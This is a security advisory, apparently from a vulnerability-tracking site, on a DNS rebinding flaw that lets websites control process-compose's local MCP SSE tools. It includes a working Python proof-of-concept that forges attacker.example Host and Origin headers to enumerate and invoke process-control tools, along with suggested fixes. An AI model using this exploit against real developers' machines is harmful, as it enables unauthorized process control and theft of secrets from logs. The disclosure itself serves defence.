Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.
This advisory covers https://github.com/F1bonacc1/process-compose, confirmed at commit d56aa59df04b72f8644811ac581a051bec05e485.
The issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.
Affected Code
Root cause:
1src/types/mcp.go:24-30 SSE is the default MCP transport when mcp_server.transport is omitted. 2src/types/mcp.go:64-70 SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field. 3src/mcp/server.go:203-214 The server starts server.NewSSEServer(s.mcpServer) directly on the configured address. 4src/api/routes.go:32-39 X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.Impact surface:
1src/mcp/mcp_manager.go:33-38 expose_control_tools registers built-in process-compose control tools. 2src/mcp/control_tools.go:26-116 The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs. 3src/mcp/control_tools.go:121-142 The registered tools return project and process state.Reproduction
Start process-compose from the affected commit with MCP SSE and built-in control tools enabled:
1workdir="$(mktemp -d)" 2cd "$workdir" 3git clone https://github.com/F1bonacc1/process-compose process-compose-target 4cd process-compose-target 5git checkout d56aa59df04b72f8644811ac581a051bec05e485 6 7go build -o ./process-compose-poc . 8 9cat > process-compose-mcp-poc.yaml <<'YAML'10mcp_server:11 host: 127.0.0.112 port: 808113 transport: sse14 expose_control_tools: true15 16processes:17 sleeper:18 command: "sleep 600"19 disabled: true20YAML21 22PC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \23 -f ./process-compose-mcp-poc.yaml \24 -t=false \25 --no-server \26 --keep-project \27 --log-file ./process-compose-mcp-poc.logIn a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps Host: attacker.example:8081 and Origin: http://attacker.example:8081 while the hostname resolves to 127.0.0.1. The script below sends that same request shape to the local MCP SSE listener:
1python3 - <<'PY' 2import http.client 3import json 4import queue 5import threading 6import time 7import urllib.parse 8 9host = "127.0.0.1"10port = 808111attacker_host = "attacker.example:8081"12origin = "http://attacker.example:8081"13headers = {14 "Host": attacker_host,15 "Origin": origin,16 "Accept": "text/event-stream",17}18 19events = queue.Queue()20 21def read_sse(resp):22 event = None23 data = None24 while True:25 line = resp.readline()26 if not line:27 return28 text = line.decode("utf-8", "replace").strip()29 if text.startswith("event:"):30 event = text.split(":", 1)[1].strip()31 elif text.startswith("data:"):32 data = text.split(":", 1)[1].strip()33 elif text == "" and (event or data):34 events.put((event, data))35 event = None36 data = None37 38conn = http.client.HTTPConnection(host, port, timeout=10)39conn.request("GET", "/sse", headers=headers)40resp = conn.getresponse()41print("GET /sse", resp.status)42print("Access-Control-Allow-Origin:", resp.getheader("Access-Control-Allow-Origin"))43threading.Thread(target=read_sse, args=(resp,), daemon=True).start()44 45endpoint = None46deadline = time.time() + 1047while time.time() < deadline:48 event, data = events.get(timeout=1)49 if event == "endpoint":50 endpoint = data51 break52assert endpoint, "no SSE endpoint event"53print("endpoint", endpoint)54 55def post(message):56 parsed = urllib.parse.urlparse(endpoint)57 path = parsed.path + ("?" + parsed.query if parsed.query else "")58 body = json.dumps(message).encode()59 c = http.client.HTTPConnection(host, port, timeout=10)60 c.request("POST", path, body=body, headers={61 "Host": attacker_host,62 "Origin": origin,63 "Content-Type": "application/json",64 "Content-Length": str(len(body)),65 "Authorization": "Bearer invalid-replay-token",66 })67 r = c.getresponse()68 r.read()69 c.close()70 print("POST", message.get("method"), r.status)71 72def wait_result(rpc_id):73 deadline = time.time() + 1074 while time.time() < deadline:75 event, data = events.get(timeout=1)76 if event == "message" and data:77 msg = json.loads(data)78 if msg.get("id") == rpc_id:79 return msg80 raise SystemExit(f"no result for id {rpc_id}")81 82post({83 "jsonrpc": "2.0",84 "id": 1,85 "method": "initialize",86 "params": {87 "protocolVersion": "2024-11-05",88 "capabilities": {},89 "clientInfo": {"name": "rebind-poc", "version": "1.0.0"}90 }91})92print(json.dumps(wait_result(1), indent=2))93 94post({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}})95 96post({"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}})97tools = wait_result(2)98names = [tool["name"] for tool in tools["result"]["tools"]]99print("tools", names)100 101post({102 "jsonrpc": "2.0",103 "id": 3,104 "method": "tools/call",105 "params": {106 "name": "pc_process_list",107 "arguments": {}108 }109})110print(json.dumps(wait_result(3), indent=2))111PYObserved Result
The MCP SSE listener accepted the forged browser-origin request shape:
1Host: attacker.example:8081 2Origin: http://attacker.example:8081 3Authorization: Bearer invalid-replay-tokenThe server returned GET /sse: HTTP 200 with Access-Control-Allow-Origin: *. The MCP session then completed initialize, returned the process-compose tool catalog, and allowed tools/call to reach a process-control handler.
The operator reproduced the issue against the genuine process-compose target and observed pc_process_list returning:
1{ 2 "data": [ 3 { 4 "name": "sleeper", 5 "namespace": "default", 6 "status": "Disabled", 7 "system_time": "-", 8 "age": 0, 9 "is_ready": "-",10 "has_ready_probe": false,11 "restarts": 0,12 "exit_code": 0,13 "pid": 0,14 "is_elevated": false,15 "password_provided": false,16 "mem": 0,17 "cpu": 0,18 "is_running": false19 }20 ]21}Earlier replay against the same target also listed 13 pc_* MCP control tools and reached project-state and process-control calls through the SSE message endpoint.
Impact
A web attacker can drive local process-compose MCP requests from the victim browser when the operator has enabled MCP SSE. The attacker does not need a bearer token, API key, cookie, client certificate, or CSRF token.
With expose_control_tools: true, the same unauthenticated browser-origin path can enumerate process state, read logs, search logs, truncate logs, start processes, stop processes, restart processes, and scale processes. If the operator exposes user-defined MCP process tools, the attacker can invoke those configured commands and read their output.
Process logs and process output often contain service names, local paths, usernames, runtime state, internal URLs, and secrets emitted by child processes. Start, stop, restart, scale, and log truncation are process-control operations on the developer's local process-compose project.
Suggested Fix
Add a target-side trust boundary to the MCP SSE listener before MCP dispatch:
- Reject requests whose
Hostheader is not loopback or an explicit configured trusted name. - Reject browser requests whose
Originis not a trusted loopback or configured origin. - Require a random per-run bearer token or equivalent caller secret on both
/sseand the returned/messageendpoint. - Do not rely on localhost reachability as an authentication boundary for browser-reachable HTTP transports.
- Consider requiring an explicit authentication setting before starting SSE MCP with process-control tools.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 4
링크 내용 불러오는 중…